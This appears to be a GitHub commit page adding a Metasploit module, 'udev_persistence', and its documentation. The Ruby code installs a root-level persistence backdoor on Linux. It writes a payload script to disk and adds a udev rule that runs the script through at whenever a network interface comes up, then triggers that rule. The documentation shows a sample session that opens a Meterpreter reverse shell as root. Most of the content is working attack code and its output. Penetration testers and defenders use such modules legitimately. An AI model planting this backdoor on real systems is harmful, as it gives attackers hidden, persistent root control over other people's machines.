Skip to content

Commit 5fbf46b

Browse files
authored
Land rapid7#19472, adds exploits/linux/local/udev_persistence
Add modules/exploits/linux/local/udev_persistence.rb
2 parents 257f6db + 6806385 commit 5fbf46b

File tree

2 files changed

+143
-0
lines changed

2 files changed

+143
-0
lines changed
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
This is a post module that performs a persistence installation on a Linux system using [udev](https://en.wikipedia.org/wiki/Udev).
2+
The persistence execution with be triggered with root privileges everytime a network interface other than l0 comes up.
3+
4+
## Verification Steps
5+
6+
1. Start msfconsole
7+
2. Obtain a session on the target machine
8+
3. `use exploit/linux/local/udev_persistence`
9+
4. `set session -1`
10+
5. `exploit`
11+
12+
## Module usage
13+
14+
```
15+
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/udev_persistence
16+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
17+
msf6 exploit(linux/local/udev_persistence) > set session -1
18+
session => -1
19+
msf6 exploit(linux/local/udev_persistence) > exploit
20+
21+
[*] /usr/bin/udev-check-updates written
22+
[*] /lib/udev/rules.d/99-update.rules written
23+
msf6 exploit(linux/local/udev_persistence) >
24+
[*] Sending stage (3045380 bytes) to 172.18.49.39
25+
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
26+
msf6 exploit(linux/local/udev_persistence) > sessions -i -1
27+
[*] Starting interaction with 2...
28+
29+
meterpreter > getuid
30+
Server username: root
31+
meterpreter >
32+
```
33+
34+
## Options
35+
36+
### BACKDOOR_PATH
37+
38+
Specify the path of the file containing the udev rules. (Default: /lib/udev/rules.d/99-update.rules)
39+
40+
### PAYLOAD_PATH
41+
42+
Specify the name of the payload to execute upon persistence. (Default: /usr/bin/udev-check-updates)
43+
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
8+
Rank = GreatRanking
9+
10+
include Msf::Post::File
11+
include Msf::Post::Unix
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'udev persistence',
18+
'Description' => %q{
19+
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
20+
It'll be executed with root privileges everytime a network interface other than l0 comes up.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [
24+
'Julien Voisin'
25+
],
26+
'Platform' => [ 'unix', 'linux' ],
27+
'Arch' => ARCH_CMD,
28+
'SessionTypes' => [ 'shell', 'meterpreter' ],
29+
'DefaultOptions' => { 'WfsDelay' => 90_000 },
30+
'Targets' => [ ['Automatic', {}] ],
31+
'DefaultTarget' => 0,
32+
'DisclosureDate' => '1999-01-01',
33+
'Passive' => true,
34+
'Stance' => Msf::Exploit::Stance::Passive,
35+
'Notes' => {
36+
'Stability' => [],
37+
'Reliability' => [EVENT_DEPENDENT],
38+
'SideEffects' => [ARTIFACTS_ON_DISK]
39+
},
40+
'References' => [
41+
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
42+
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
43+
]
44+
)
45+
)
46+
register_options([
47+
48+
OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']),
49+
OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', ''])
50+
])
51+
end
52+
53+
def get_command
54+
unless executable? '/usr/bin/at'
55+
fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
56+
end
57+
%(/usr/bin/at -M -f #{@payload_path} now)
58+
end
59+
60+
def exploit
61+
@payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']
62+
63+
@backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
64+
65+
unless writable? File.dirname(@backdoor_path)
66+
fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"
67+
end
68+
69+
if exists? @backdoor_path
70+
fail_with Failure::BadConfig, "#{@backdoor_path} is already present"
71+
end
72+
73+
unless writable? File.dirname(@payload_path)
74+
fail_with Failure::BadConfig, "#{@payload_path} is not writable"
75+
end
76+
77+
if exists? @payload_path
78+
fail_with Failure::BadConfig, "#{@payload_path} is already present"
79+
end
80+
81+
upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}")
82+
print_status "#{@payload_path} written"
83+
84+
fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}"))
85+
86+
print_status "#{@backdoor_path} written"
87+
88+
# need to trigger first rule manually
89+
print_status 'Triggering udev rule'
90+
cmd_exec('udevadm trigger -v --subsystem-match=net')
91+
92+
stime = Time.now.to_f
93+
timeout = datastore['ListenerTimeout'].to_i
94+
loop do
95+
break if timeout > 0 && (stime + timeout < Time.now.to_f)
96+
97+
Rex::ThreadSafe.sleep(1)
98+
end
99+
end
100+
end

0 commit comments

Comments
 (0)